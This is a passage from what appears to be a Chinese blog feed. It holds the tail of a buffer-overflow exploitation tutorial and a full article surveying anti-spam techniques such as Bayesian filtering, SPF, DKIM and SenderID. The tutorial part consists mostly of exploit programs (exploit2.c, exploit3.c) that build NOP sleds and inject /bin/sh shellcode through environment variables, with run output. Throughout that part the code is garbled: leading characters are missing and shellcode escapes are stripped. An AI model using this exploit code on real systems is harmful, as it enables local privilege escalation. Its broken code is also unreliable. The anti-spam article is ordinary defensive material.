bsize; i+=4) <BR>*(addr_ptr++) = addr; <BR>tr += 4; <BR>for (i = 0; i &lt; strlen(shellcode); i++) <BR>*(ptr++) = shellcode［i］; <BR>uff［bsize - 1］ = '0'; <BR>memcpy(buff,"BUF=",4); <BR>utenv(buff); <BR>ystem("/bin/bash"); <BR>} <BR>lt;--&gt; end of exploit1.c</P>
<P>现在我们可以猜出offset (bufferaddress = stackpointer + offset). </P>
<P>［hosts］$ exploit1 600 </P>
<P>Using address: 0xbffff6c3 </P>
<P>［hosts］$ ./hole $BUF </P>
<P>［hosts］$ exploit1 600 100 </P>
<P>Using address: 0xbffffce6 </P>
<P>［hosts］$ ./hole $BUF </P>
<P>egmentation fault </P>
<P>etc. </P>
<P>etc. </P>
<P>就象你所知道的那样，这个过程几乎是不可能发生的，这样，我们不得不去猜出更精确的溢出地址。为了增加我们的机会，我们可以在我们的缓冲溢出的shellcode前加上 NOP（空操作）指令。因为我们没有必要去猜出它精确的溢出地址来。而NOP指令用来延迟执行的。如果这个被覆写的返回地址指针在NOP串中，我们的代码就可以在下面一步执行了。 </P>
<P>存储器的内容应该是这样的: </P>
<P>FFFFF NNNNNNNNNNNSSSSSSSSSSSSSSAAAAAAAAFFFFFFFFF </P>
<P>N = NOP </P>
<P>S = shellcode </P>
<P>A = address pointing to the shellcode </P>
<P>F = other data </P>
<P>我们把原先的代码改了一下 </P>
<P>lt;++&gt; buffer/exploit2.c <BR>#include &lt;stdlib.h&gt; <BR>#define DEFAULT_OFFSET 0 <BR>#define DEFAULT_BUFFER_SIZE 512 <BR>#define NOP 0x90 <BR>char shellcode［］ = <BR>"xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0x0b" <BR>"x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40xcd" <BR>"x80xe8xdcxffxffxff/bin/sh"; <BR>unsigned long get_sp(void) { <BR>__asm__("movl %esp,%eax"); <BR>} <BR>void main(int argc, char *argv［］) <BR>{ <BR>char *buff, *ptr; <BR>long *addr_ptr, addr; <BR>int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE; <BR>int i; <BR>if (argc &gt; 1) bsize = atoi(argv［1］); <BR>if (argc &gt; 2) offset = atoi(argv［2］); <BR>if (!(buff = malloc(bsize))) { <BR>rintf("Can't allocate memory.n"); <BR>exit(0); <BR>} <BR>addr = get_sp() - offset; <BR>rintf("Using address: 0x%xn", addr); <BR>tr = buff; <BR>addr_ptr = (long *) ptr; <BR>for (i = 0; i &lt; bsize; i+=4) <BR>*(addr_ptr++) = addr; <BR>for (i = 0; i &lt; bsize/2; i++) <BR>uff［i］ = NOP; <BR>tr = buff + ((bsize/2) - (strlen(shellcode)/2)); <BR>for (i = 0; i &lt; strlen(shellcode); i++) <BR>*(ptr++) = shellcode［i］; <BR>uff［bsize - 1］ = '0'; <BR>memcpy(buff,"BUF=",4); <BR>utenv(buff); <BR>ystem("/bin/bash"); <BR>} <BR>lt;--&gt; end of exploit2.c <BR>［hosts］$ exploit2 600 <BR>Using address: 0xbffff6c3 <BR>［hosts］$ ./hole $BUF <BR>egmentation fault <BR>［hosts］$ exploit2 600 100 <BR>Using address: 0xbffffce6 <BR>［hosts］$ ./hole $BUF <BR>#exit <BR>［hosts］$<BR>&nbsp;<BR>为了更完善我们的代码，我们把这些shellcode放到环境变量里去。然后我们就可以用这个变量的地址来溢出缓冲器了。这方法可以增加我们的机会。用setenv()函数来调用，并把shellcode送到环境变量中去。 </P>
<P>lt;++&gt; buffer/exploit3.c <BR>#include &lt;stdlib.h&gt; <BR>#define DEFAULT_OFFSET 0 <BR>#define DEFAULT_BUFFER_SIZE 512 <BR>#define DEFAULT_EGG_SIZE 2048 <BR>#define NOP 0x90 <BR>char shellcode［］ = <BR>"xebx1fx5ex89x76x08x31xc0x88x46x07x89x46x0cxb0x0b" <BR>"x89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89xd8x40xcd" <BR>"x80xe8xdcxffxffxff/bin/sh"; <BR>unsigned long get_esp(void) { <BR>__asm__("movl %esp,%eax"); <BR>} <BR>void main(int argc, char *argv［］) <BR>{ <BR>char *buff, *ptr, *egg; <BR>long *addr_ptr, addr; <BR>int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE; <BR>int i, eggsize=DEFAULT_EGG_SIZE; <BR>if (argc &gt; 1) bsize = atoi(argv［1］); <BR>if (argc &gt; 2) offset = atoi(argv［2］); <BR>if (argc &gt; 3) eggsize = atoi(argv［3］); <BR>if (!(buff = malloc(bsize))) { <BR>rintf("Can't allocate memory.n"); <BR>exit(0); <BR>} <BR>if (!(egg = malloc(eggsize))) { <BR>rintf("Can't allocate memory.n"); <BR>exit(0); <BR>} <BR>addr = get_esp() - offset; <BR>rintf("Using address: 0x%xn", addr); <BR>tr = buff; <BR>addr_ptr = (long *) ptr; <BR>for (i = 0; i &lt; bsize; i+=4) <BR>*(addr_ptr++) = addr; <BR>tr = egg; <BR>for (i = 0; i &lt; eggsize - strlen(shellcode) - 1; i++) <BR>*(ptr++) = NOP; <BR>for (i = 0; i &lt; strlen(shellcode); i++) <BR>*(ptr++) = shellcode［i］; <BR>uff［bsize - 1］ = '0'; <BR>egg［eggsize - 1］ = '0'; <BR>memcpy(egg,"BUF=",4); <BR>utenv(egg); <BR>memcpy(buff,"RET=",4); <BR>utenv(buff); <BR>ystem("/bin/bash"); <BR>} <BR>end of exploit3.c <BR>［hosts］$ exploit2 600 <BR>Using address: 0xbffff5d7 <BR>［hosts］$ ./hole $RET <BR>#exit <BR>［hosts］$</P>
<P>寻找溢出 </P>
<P>当然有能更准确找到缓冲溢出的方法，那就是读它的源程序。因为Linux是个开放的系统，你很容易就可以得到它的源程序。 </P>
<P>寻找没有边界校验的库函数调用，如: </P>
<P>trcpy(), strcat(), sprintf(), vsprintf(), scanf() </P>
<P>其他的具有危险的函数如：在&#8220;当型&#8221;循环中的getc()和getchar()，strncat函数的错误使用。</P><img src ="http://www.cnblogs.com/F4ncy/aggbug/239958.html?type=1" width = "1" height = "1" /><br><br><a href="http://news.cnblogs.com/n/41805/" target="_blank">[新闻]张亚勤一改陈永正做法 微软举报洪磊为推广Vista</a>]]></description></item><item><title>反垃圾邮件技术解析</title><link>http://www.cnblogs.com/F4ncy/archive/2005/08/29/225559.html</link><dc:creator>F4ncy Blog</dc:creator><author>F4ncy Blog</author><pubDate>Mon, 29 Aug 2005 12:14:00 GMT</pubDate><guid>http://www.cnblogs.com/F4ncy/archive/2005/08/29/225559.html</guid><wfw:comment>http://www.cnblogs.com/F4ncy/comments/225559.html</wfw:comment><comments>http://www.cnblogs.com/F4ncy/archive/2005/08/29/225559.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnblogs.com/F4ncy/comments/commentRss/225559.html</wfw:commentRss><trackback:ping>http://www.cnblogs.com/F4ncy/services/trackbacks/225559.html</trackback:ping><description><![CDATA[<P>反垃圾邮件技术解析</P>
<P>作者：refdom</P>
<P>1、概述<BR>&nbsp;&nbsp;&nbsp; 电子邮件是最常用的网络应用之一，已经成为网络交流沟通的重要途径。但是，垃圾邮件（spam）烦恼着大多数人，近来的调查显示，93%的被调查者都对他们接收到的大量垃圾邮件非常不满。一些简单的垃圾邮件事件也造成了很有影响的安全问题。日益增加的垃圾邮件现在会造成1年94亿美元的损失（来自chinabyte上一则新闻的数据），在一些文章表明，垃圾邮件可能会花费一个公司内每个用户600到1000美元。<BR>&nbsp;&nbsp;&nbsp; 垃圾邮件随着互联网的不断发展而大量增长，不再像以前一样，只是小小的一个骚扰，现在的垃圾邮件可以说是铺天盖地了。最初，垃圾邮件主要是一些不请自来的商业宣传电子邮件，而现在更多的有关色情、政治的垃圾邮件不断增加，甚至达到了总垃圾邮件量的40%左右，并且仍然有持续增长的趋势。另一方面，垃圾邮件成了计算机病毒新的、快速的传播途径。<BR>&nbsp;&nbsp;&nbsp; 而且目前世界上50%的邮件都是垃圾邮件，只有少数组织承担责任。很多反垃圾邮件的措施都被提出出来，但是只有非常少的被实施了。不幸的是，这些解决办法也都还不能完全阻止垃圾邮件，而且还对正常的邮件来往产生影响。</P>
<P>1.1、什么是垃圾邮件？<BR>&nbsp;&nbsp;&nbsp; 某种程度上，对垃圾邮件的定义可以是：那些人们没有意愿去接收到的电子邮件都是垃圾邮件。比如：<BR>&nbsp;&nbsp;&nbsp; *商业广告。很多公司为了宣传新的产品、新的活动等通过电子邮件的方式进行宣传。<BR>&nbsp;&nbsp;&nbsp; *政治言论。目前会收到不少来自其他国家或者反动组织发送的这类电子邮件，这就跟垃圾的商业广告一样，销售和贩卖他们的所谓言论。<BR>&nbsp;&nbsp;&nbsp; *蠕虫病毒邮件。越来越多的病毒通过电子邮件来迅速传播，这也的确是一条迅速而且有效的传播途径。<BR>&nbsp;&nbsp;&nbsp; *恶意邮件。恐吓、欺骗性邮件。比如phishing，这是一种假冒网页的电子邮件，完全是一种诡计，来蒙骗用户的个人信息、账号甚至信用卡。</P>
<P>&nbsp;&nbsp;&nbsp; 普通个人的电子邮箱怎么成为了垃圾邮件的目标呢，造成这样的结果有很多原因，比如在网站、论坛等地方注册了邮件地址，病毒等在朋友的邮箱中找到了你的电子邮箱，对邮件提供商进行的用户枚举，等等。通常情况下，越少暴露电子邮件地址越少接收到垃圾邮件，使用时间越短越少接收到垃圾邮件。一些无奈的用户就选择了放弃自己的邮箱而更换新的电子邮箱。</P>
<P>1.2、安全问题<BR>&nbsp;&nbsp;&nbsp; 垃圾邮件给互联网以及广大的使用者带来了很大的影响，这种影响不仅仅是人们需要花费时间来处理垃圾邮件、占用系统资源等，同时也带来了很多的安全问题。<BR>&nbsp;&nbsp;&nbsp; 垃圾邮件占用了大量网络资源，这是显而易见的。一些邮件服务器因为安全性差，被作为垃圾邮件转发站为被警告、封IP等事件时有发生，大量消耗的网络资源使得正常的业务运作变得缓慢。随着国际上反垃圾邮件的发展，组织间黑名单共享，使得无辜服务器被更大范围屏蔽，这无疑会给正常用户的使用造成严重问题。<BR>&nbsp;&nbsp;&nbsp; 垃圾邮件和黑客攻击、病毒等结合也越来越密切，比如，SoBig蠕虫就安装开放的，可以用来支持邮件转发的代理。随着垃圾邮件的演变，用恶意代码或者监视软件等来支持垃圾邮件已经明显地增加了。2003年12月31，巴西的一个黑客组织发送包含恶意javascript脚本的垃圾邮件给数百万用户，那些通过Hotmail来浏览这些垃圾邮件的人们在不知不觉中已经泄露了他们的账号。另外一个例子就是，近来IE的URL显示问题，在主机名前添加"%01"可以隐藏真实的主机地址，在被发布之后几个星期内就出现在垃圾邮件中了。<BR>越来越具有欺骗性的病毒邮件，让很多企业深受其害，即便采取了很好的网络保护策略，依然很难避免，越来越多的安全事件都是因为邮件产生的，可能是病毒、木马或者其他恶意程序。Phishing的假冒诡计对于普通使用者来说，的确很难作出正确的判断，但是造成的损失却是很直接的。</P>
<P>2、反垃圾邮件技术</P>
<P>&nbsp;&nbsp;&nbsp; 已经存在的和在被提及的反垃圾邮件方法试图来减少垃圾邮件问题和处理安全需求。通过正确的识别垃圾邮件，邮件病毒或者邮件攻击程序等都会减少。这些解决方法采取多种安全途径来努力阻止垃圾邮件。<BR>Dr. Neal Krawetz在Anti-Spam Solutions and Security[ref 1]文中将反垃圾邮件技术作了非常好的分类。当前的反垃圾邮件技术可以分为4大类：过滤器（Filter）、反向查询(Reverse lookup)、挑战(challenges)和密码术(cryptography),这些解决办法都可以减少垃圾邮件问题，但是都有它们的局限性。本文将在下面的内容讨论这些技术以及一些主要技术的实现。</P>
<P>2.1、过滤<BR>&nbsp;&nbsp;&nbsp; 过滤（Filter）是一种相对来说最简单却很直接的处理垃圾邮件技术。这种技术主要用于接收系统（MUA，如OUTLOOK EXPRESS或者MTA，如sendmail）来辨别和处理垃圾邮件。从应用情况来看，这种技术也是使用最广泛的，比如很多邮件服务器上的反垃圾邮件插件、反垃圾邮件网关、客户端上的反垃圾邮件功能等，都是采用的过滤技术。</P>
<P>2.1.1、关键词过滤<BR>&nbsp;&nbsp;&nbsp; 关键词过滤技术通常创建一些简单或复杂的与垃圾邮件关联的单词表来识别和处理垃圾邮件。比如某些关键词大量出现在垃圾邮件中，如一些病毒的邮件标题，比如：test。这种方式比较类似反病毒软件利用的病毒特征一样。可以说这是一种简单的内容过滤方式来处理垃圾邮件，它的基础是必须创建一个庞大的过滤关键词列表。<BR>&nbsp;&nbsp;&nbsp; 这种技术缺陷很明显，过滤的能力同关键词有明显联系，关键词列表也会造成错报可能比较大，当然系统采用这种技术来处理邮件的时候消耗的系统资源会比较多。并且，一般躲避关键词的技术比如拆词，组词就很容易绕过过滤。</P>
<P>2.1.2、黑白名单<BR>&nbsp;&nbsp;&nbsp; 黑名单（Black List）和白名单（White List）。分别是已知的垃圾邮件发送者或可信任的发送者IP地址或者邮件地址。现在有很多组织都在做*bl（block list），将那些经常发送垃圾邮件的IP地址（甚至IP地址范围）收集在一起，做成block list，比如spamhaus的SBL（Spamhaus Block List），一个BL，可以在很大范围内共享。许多ISP正在采用一些组织的BL来阻止接收垃圾邮件。白名单则与黑名单相反，对于那些信任的邮件地址或者IP就完全接受了。<BR>&nbsp;&nbsp;&nbsp; 目前很多邮件接收端都采用了黑白名单的方式来处理垃圾邮件，包括MUA和MTA，当然在MTA中使用得更广泛，这样可以有效地减少服务器的负担。</P>
<P>&nbsp;&nbsp;&nbsp; BL技术也有明显的缺陷，因为不能在block list中包含所有的（即便是大量）的IP地址，而且垃圾邮件发送者很容易通过不同的IP地址来制造垃圾。</P>
<P>2.1.3&nbsp;&nbsp;&nbsp; HASH技术<BR>&nbsp;&nbsp;&nbsp; HASH技术是邮件系统通过创建HASH来描述邮件内容，比如将邮件的内容、发件人等作为参数，最后计算得出这个邮件的HASH来描述这个邮件。如果HASH相同，那么说明邮件内容、发件人等相同。这在一些ISP上在采用，如果出现重复的HASH值，那么就可以怀疑是大批量发送邮件了。</P>
<P>2.1.4&nbsp;&nbsp;&nbsp; 基于规则的过滤<BR>&nbsp;&nbsp;&nbsp; 这种过滤根据某些特征（比如单词、词组、位置、大小、附件等）来形成规则，通过这些规则来描述垃圾邮件，就好比IDS中描述一条入侵事件一样。要使得过滤器有效，就意味着管理人员要维护一个庞大的规则库。</P>
<P>2.1.5&nbsp;&nbsp;&nbsp; 智能和概率系统<BR>&nbsp;&nbsp;&nbsp; 广泛使用的就是贝叶斯(Bayesian)算法，可以学习单词的频率和模式，这样可以同垃圾邮件和正常邮件关联起来进行判断。这是一种相对于关键字来说，更复杂和更智能化的内容过滤技术。我将在下面详细描述这种在客户端和服务器中使用最广泛的技术。</P>
<P>2.1.5.1&nbsp;&nbsp;&nbsp; Bayesian 贝叶斯算法<BR>&nbsp;&nbsp;&nbsp; 在过滤器中，现在表现最好的应该是基于评分(score)的过滤器，因为我们很容易就可以明白对付狡猾的垃圾邮件，那些黑白名单、关键词库或者HASH等过滤器是多么的简单。评分系统过滤器是一种最基本的算法过滤器，也是贝叶斯算法的基本雏形。它的原理就是检查垃圾邮件中的词或字符等，将每个特征元素（最简单的元素就是单词，复杂点的元素就是短语）都给出一个分数（正分数），另一方面就是检查正常邮件的特征元素，用来降低得分的（负分数）。最后邮件整体就得到一个垃圾邮件总分，通过这个分数来判断是否spam。</P>
<P>&nbsp;&nbsp;&nbsp; 这种评分过滤器尽量实现了自动识别垃圾邮件的功能，但是依然存在一些不适应的问题：<BR>&nbsp;&nbsp;&nbsp; *特征元素列表通过垃圾邮件或者正常邮件获得。因此，要提高识别垃圾邮件的效果，就要从数百邮件中来学习，这降低了过滤器效率，因为对于不同人来说，正常邮件的特征元素是不一样的。<BR>&nbsp;&nbsp;&nbsp; *获得特征元素分析的邮件数量多少是一个关键。如果垃圾邮件发送者也适应了这些特征，就可能让垃圾邮件更象正常邮件。这样的话，过滤特征就要更改了。<BR>&nbsp;&nbsp;&nbsp; *每个词计算的分数应该基于一种很好的评价，但是还是有随意性。比如，特征就可能不会适应垃圾邮件的单词变化，也不会适应某个用户的需要。</P>
<P>&nbsp;&nbsp;&nbsp; 贝叶斯理论现在在计算机行业中应用相当广泛，这是一种对事物的不确定性描述，比如google计算中就采用了贝叶斯理论。贝叶斯算法的过滤器就是计算邮件内容中成为垃圾邮件的概率，它要首先从许多垃圾邮件和正常邮件中进行学习，因此，效果将比普通的内容过滤器更优秀，错报就会更少。贝叶斯过滤器也是一种基于评分的过滤器。但不仅仅是一种简单的计算分数，而更从根本上来识别。它采用自动建立特征表的方式，原理上，首先分析大量的垃圾邮件和大量的正常邮件，算法分析邮件中多种特征出现概率。</P>
<P>&nbsp;&nbsp;&nbsp; 贝叶斯算法计算特征的来源通常是：<BR>&#183;邮件正文中的单词<BR>&#183;邮件头（发送者、传递路径等）<BR>&#183;其他表现，比如HTML编码（如颜色等）<BR>&#183;词组、短语<BR>&#183;meta信息，比如特殊短语出现位置等</P>
<P>&nbsp;&nbsp; 比如，正常邮件中经常出现单词AAA，但是基本不在垃圾邮件中出现，那么，AAA标示垃圾邮件的概率就接近0，反之则然。</P>
<P>贝叶斯算法的步骤为：<BR>1. 收集大量的垃圾邮件和非垃圾邮件，建立垃圾邮件集和非垃圾邮件集。 <BR>2. 提取特征来源中的独立字符串，例如 AAA等作为TOKEN串并统计提取出的TOKEN串出现的次数即字频。按照上述的方法分别处理垃圾邮件集和非垃圾邮件集中的所有邮件。 <BR>3. 每一个邮件集对应一个哈希表，hashtable_good对应非垃圾邮件集而hashtable_bad对应垃圾邮件集。表中存储TOKEN串到字频的映射关系。 <BR>4. 计算每个哈希表中TOKEN串出现的概率P=(某TOKEN串的字频)/(对应哈希表的长度)<BR>5. 综合考虑hashtable_good和hashtable_bad，推断出当新来的邮件中出现某个TOKEN串时，该新邮件为垃圾邮件的概率。数学表达式为： <BR>　　A 事件 ---- 邮件为垃圾邮件； <BR>　　t1,t2 &#8230;&#8230;.tn 代表 TOKEN 串 <BR>　　则 P(A|ti)表示在邮件中出现 TOKEN 串 ti 时，该邮件为垃圾邮件的概率。设<BR>　　P1(ti)=ti 在 hashtable_good 中的值<BR>　　P2(ti)=ti 在 hashtable_ bad 中的值<BR>　　则 P(A|ti)=P2(ti)/[(P1(ti)+P2(ti)] ； <BR>6. 建立新的哈希表hashtable_probability存储TOKEN串ti到P(A|ti)的映射 <BR>7.根据建立的哈希表 hashtable_probability可以估计一封新到的邮件为垃圾邮件的可能性。 <BR>&nbsp;&nbsp;&nbsp; 当新到一封邮件时，按照步骤2，生成TOKEN串。查询hashtable_probability得到该TOKEN 串的键值。假设由该邮件共得到N个TOKEN 串，t1,t2&#8230;&#8230;.tn,hashtable_probability中对应的值为 P1 ，P2 ，&#8230;&#8230;PN ，P(A|t1 ,t2, t3&#8230;&#8230;tn) 表示在邮件中同时出现多个TOKEN串t1,t2&#8230;&#8230;tn时，该邮件为垃圾邮件的概率。 <BR>&nbsp;&nbsp;&nbsp; 由复合概率公式可得:<BR>P(A|t1 ,t2, t3&#8230;&#8230;tn)=（P1*P2*&#8230;&#8230;PN）/[P1*P2*&#8230;&#8230;PN+（1-P1）*（1-P2）*&#8230;&#8230;（1-PN）] <BR>当 P(A|t1 ,t2, t3&#8230;&#8230;tn) 超过预定阈值时，就可以判断邮件为垃圾邮件。</P>
<P>&nbsp;&nbsp;&nbsp; 当新邮件到达的时候，就通过贝叶斯过滤器分析，通过使用各个特征来计算邮件是spam的概率。通过不断的分析，过滤器也不断地获得自更新。比如，通过各种特征判断一个包含单词AAA的邮件是spam，那么单词AAA成为垃圾邮件特征的概率就增加了。</P>
<P>&nbsp;&nbsp;&nbsp; 这样，贝叶斯过滤器就有了自适应能力，既能自动进行，也可以用户手工操作，也就更能适应单个用户的使用。而垃圾邮件发送者要获得这样的适应能力就很难了，因此，更难逃避过滤器的过滤，但他们当然还是能够将邮件伪装成很普遍的正常邮件的样子。除非垃圾邮件发送者能去对某个人的过滤器进行判断，比如，采用发送回执的办法来了解哪些邮件被用户打开了等，这样他们就可以适应过滤器了。<BR>虽然贝叶斯过滤器还存在有评分过滤器的缺陷，但是它更优化了。实践也证明，贝叶斯过滤器在客户端和服务器中效果是非常明显的，优秀的贝叶斯过滤器能够识别超过99.9%的垃圾邮件。大多数目前应用的反垃圾邮件产品都采用了这样的技术。比如Foxmail中的贝叶斯过滤。</P>
<P>2.1.6&nbsp;&nbsp;&nbsp; 局限性和缺点<BR>&nbsp;&nbsp;&nbsp; 现行的很多采用过滤器技术的反垃圾邮件产品通常都采用了多种过滤器技术，以便使产品更为有效。过滤器通过他们的误报和漏报来分等级。漏报就是指垃圾邮件绕过了过滤器的过滤。而误报则是将正常的邮件判断为了垃圾邮件。完美的过滤器系统应该是不存在漏报和误报的，但是这是理想情况。</P>
<P>&nbsp;&nbsp;&nbsp; 一些基于过滤器原理的反垃圾邮件系统通常有下面的三种局限性：<BR>&nbsp;&nbsp;&nbsp; &#183;可能被绕过。垃圾邮件发送者和他们用的发送工具也不是静态的，他们也会很快适应过滤器。比如，针对关键字列表，他们可以随机更改一些单词的拼写，比如("强悍", "弓虽悍", "强-悍").Hash-buster（在每个邮件中产生不同的HASH）就是来绕过hash过滤器的。当前普遍使用的贝叶斯过滤器可以通过插入随机单词或句子来绕过。多数过滤器都最多只能在少数几周才最有效，为了保持反垃圾邮件系统的实用性，过滤器规则就必须不断更新，比如每天或者每周更新。<BR>&nbsp;&nbsp;&nbsp; &#183;误报问题。最头痛的问题就是将正常邮件判断为垃圾邮件。比如，一封包含单词sample的正常邮件可能因此被判断为垃圾邮件。某些正常服务器不幸包含在不负责任的组织发布的block list对某个网段进行屏蔽中，而不是因为发送了垃圾邮件（xfocus的服务器就是这样的一个例子）。但是，如果要减少误报问题，就可能造成严重的漏报问题了。<BR>&nbsp;&nbsp;&nbsp; &#183;过滤器复查。由于误报问题的存在，通常被标记为垃圾邮件的消息一般不会被立刻删除，而是被放置到垃圾邮件箱里面，以便日后检查。不幸的是，这也意味着用户仍然必须花费时间去察看垃圾邮件，即便仅仅只针对邮件标题。</P>
<P>&nbsp;&nbsp;&nbsp; 目前更严重的问题是，人们依然认为过滤器能有效阻止垃圾邮件。实际上，垃圾邮件过滤器并不能有效阻止垃圾邮件，在多数案例中，垃圾邮件依然存在，依然穿过了网络，并且依然被传播。除非用户不介意存在被误报的邮件，不介意依然会浏览垃圾邮件。过滤器可以帮助我们来组织并分隔邮件为垃圾邮件和正常邮件，但是过滤器技术并不能阻止垃圾邮件，实际上只是在"处理"垃圾邮件。</P>
<P>&nbsp;&nbsp;&nbsp; 尽管过滤器技术存在局限，但是，这是目前最为广泛使用的反垃圾邮件技术。</P>
<P>2.2、验证查询<BR>&nbsp;&nbsp;&nbsp; SMTP在设计的时候并没有考虑到安全问题。在1973年，计算机安全还没有什么意义，那个时候能够有一个可执行的邮件协议已经很了不起了。比如，RFC524描述将SMTP作为独立协议的一些情况：</P>
<P>&nbsp;&nbsp;&nbsp; "虽然人们可以或者可能可以，以本文档为基础设计软件，但请恰如其分地进行批注。请提出建议和问题。我坚信协议中依然存在问题，我希望读者能够阅读RFC的时候能够将它们都指出来。"</P>
<P>&nbsp;&nbsp;&nbsp; 尽管SMTP的命令组已经发展了很长时间，但是人们还是以RFC524为基础来执行SMTP的，而且还都假定问题（比如安全问题）都会在以后被解决。因此直到2004年，源自RFC524中的错误还是依然存在，这个时候SMTP已经变得非常广泛而很难简单被代替。垃圾邮件就是一个滥用SMTP协议的例子，多数垃圾邮件工具都可以伪造邮件头，伪造发送者，或者隐藏源头。</P>
<P>&nbsp;&nbsp;&nbsp; 垃圾邮件一般都是使用的伪造的发送者地址，极少数的垃圾邮件才会用真实地址。垃圾邮件发送者伪造邮件有下面的几个原因：<BR>&nbsp;&nbsp;&nbsp; *因为是违法的。在多个国家内，发送垃圾邮件都是违法行为，通过伪造发送地址，发送者就可能避免被起诉。<BR>&nbsp;&nbsp;&nbsp; *因为不受欢迎。垃圾邮件发送者都明白垃圾邮件是不受欢迎的。通过伪造发送者地址，就可能减少这种反应。<BR>&nbsp;&nbsp;&nbsp; *受到ISP的限制。多数ISP都有防止垃圾邮件的服务条款，通过伪造发送者地址，他们可以减少被ISP禁止网络访问的可能性。</P>
<P>&nbsp;&nbsp;&nbsp; 因此，如果我们能够采用类似黑白名单一样，能够更智能地识别哪些是伪造的邮件，哪些是合法的邮件，那么就能从很大程度上解决垃圾邮件问题，验证查询技术正是基于这样的出发点而产生的。以下还会解析一些主要的反垃圾邮件技术，比如Yahoo!、微软、IBM等所倡导和主持的反垃圾邮件技术，把它们划分在反向验证查询技术中并不是很恰当，但是，从某种角度来说，这些技术都是更复杂的验证查询。</P>
<P>2.2.1、反向查询技术<BR>&nbsp;&nbsp;&nbsp; 从垃圾邮件的伪造角度来说，能够解决邮件的伪造问题，就可以避免大量垃圾邮件的产生。为了限制伪造发送者地址，一些系统要求验证发送者邮件地址，这些系统包括：<BR>&nbsp;&nbsp;&nbsp; 反向邮件交换（RMX）&lt;<A href="http://www.ietf.org/internet-drafts/draft-danisch-dns-rr-smtp-03.txt">http://www.ietf.org/internet-drafts/draft-danisch-dns-rr-smtp-03.txt</A>&gt; <BR>&nbsp;&nbsp;&nbsp; 发送者许可（SPF）&lt;<A href="http://spf.pobox.com/">http://spf.pobox.com/</A>&gt; <BR>&nbsp;&nbsp;&nbsp; 标明邮件协议（DMP）&lt;<A href="http://www.pan-am.ca/dmp/">http://www.pan-am.ca/dmp/</A>&gt; </P>
<P>&nbsp;&nbsp;&nbsp; 这些技术都比较相近。DNS是全球互联网服务来处理IP地址和域名之间的转化。在1986年，DNS扩展，并有了邮件交换纪录（MX），当发送邮件的时候，邮件服务器通过查询MX纪录来对应接收者的域名。</P>
<P>&nbsp;&nbsp;&nbsp; 类似于MX纪录，反向查询解决方案就是定义反向的MX纪录（"RMX"--RMX，"SPF"--SPF，"DMP"--DMP），用来判断是否邮件的指定域名和IP地址是完全对应的。基本原因就是伪造邮件的地址是不会真实来自RMX地址，因此可以判断是否伪造。</P>
<P>2.2.2&nbsp;&nbsp;&nbsp; DKIM技术<BR>&nbsp;&nbsp;&nbsp; DKIM（DomainKeys Identified Mail）技术基于雅虎的DomainKeys验证技术和思科的Internet Identified Mail。<BR>&nbsp;&nbsp;&nbsp; 雅虎的DomainKeys利用公共密钥密码术验证电子邮件发件人。发送系统生成一个签名并把签名插入电子邮件标题，而接收系统利用DNS发布的一个公共密钥验证这个签名。 思科的验证技术也利用密码术，但它把签名和电子邮件消息本身关联。发送服务器为电子邮件消息签名并把签名和用于生成签名的公共密钥插入一个新标题。而接收系统验证这个用于为电子邮件消息签名的公共密钥是授权给这个发件地址使用的。 </P>
<P>&nbsp;&nbsp;&nbsp; DKIM将把这两个验证系统整合起来。它将以和DomainKeys相同的方式用DNS发布的公共密钥验证签名，它也将利用思科的标题签名技术确保一致性。<BR>&nbsp;&nbsp;&nbsp; DKIM给邮件提供一种机制来同时验证每个域邮件发送者和消息的完整性。一旦域能被验证，就用来同邮件中的发送者地址作比较检测伪造。如果是伪造，那么可能是spam或者是欺骗邮件，就可以被丢弃。如果不是伪造的，并且域是已知的，可为其建立起良好的声誉，并绑定到反垃圾邮件策略系统中，也可以在服务提供商之间共享，甚至直接提供给用户。<BR>&nbsp;&nbsp;&nbsp; 对于知名公司来说，通常需要发送各种业务邮件给客户、银行等，这样，邮件的确认就显得很重要。可以保护避免受到phishing攻击。<BR>&nbsp;&nbsp;&nbsp; 现在，DKIM技术标准提交给IETF，可以参考draft文档<A href="http://www.ietf.org/internet-drafts/draft-delany-domainkeys-base-00.txt">http://www.ietf.org/internet-drafts/draft-delany-domainkeys-base-00.txt</A></P>
<P>DomainKeys的实现过程</P>
<P>发送服务器经过两步：<BR>1、建立。域所有者需要产生一对公/私钥用于标记所有发出的邮件（允许多对密钥），公钥在DNS中公开，私钥在使用DomainKey的邮件服务器上。<BR>2、签名。当每个用户发送邮件的时候，邮件系统自动使用存储的私钥来产生签名。签名作为邮件头的一部分，然后邮件被传递到接收服务器上。</P>
<P>接收服务器通过三步来验证签名邮件：<BR>1、准备。接收服务器从邮件头提取出签名和发送域（From:）然后从DNS获得相应的公钥。<BR>2、验证。接收服务器用从DNS获得的公钥来验证用私钥产生的签名。这保证邮件真实发送并且没有被修改过。<BR>3、传递。接收服务器使用本地策略来作出最后结果，如果域被验证了，而且其他的反垃圾邮件测试也没有决定，那么邮件就被传递到用户的收件箱中，否则，邮件可以被抛弃、隔离等。</P>
<P>2.2.3、SenderID技术<BR>&nbsp;&nbsp;&nbsp; 2004年，Gates曾信誓旦旦地预言微软能够在未来消灭垃圾邮件，他所期望的就是Sender ID技术，但是，最近他则收回了他的预言。这也就是标准之争，微软希望IETF能够采用Sender ID技术作为标准，并且得到了大量支持，比如Cisco, Comcast, IBM, Cisco,Port25,Sendmail,Symantec,VeriSign等，也包括后来又倒戈的AOL的支持，但是在开源社区，微软一直没有得到足够的支持，IETF最终否决了微软的提议。<BR>&nbsp;&nbsp;&nbsp; SenderID技术主要包括两个方面：发送邮件方的支持和接收邮件方的支持。其中发送邮件方的支持主要有三个部分：发信人需要修改邮件服务器的DNS，增加特定的SPF记录以表明其发信身份，比如"v=spf1 ip4:192.0.2.0/24 -all"，表示使用SPF1版本，对于192.0.2.0/24这个网段是有效的；在可选情况下，发信人的MTA支持在其外发邮件的发信通信协议中增加SUBMITTER等扩展，并在其邮件中增加Resent-Sender、Resent-From、Sender等信头。<BR>&nbsp;&nbsp;&nbsp; 接收邮件方的支持有：收信人的邮件服务器必须采用SenderID检查技术，对收到的邮件检查PRA或MAILFROM，查询发件者DNS的SPF纪录，并以此验证发件者身份。</P>
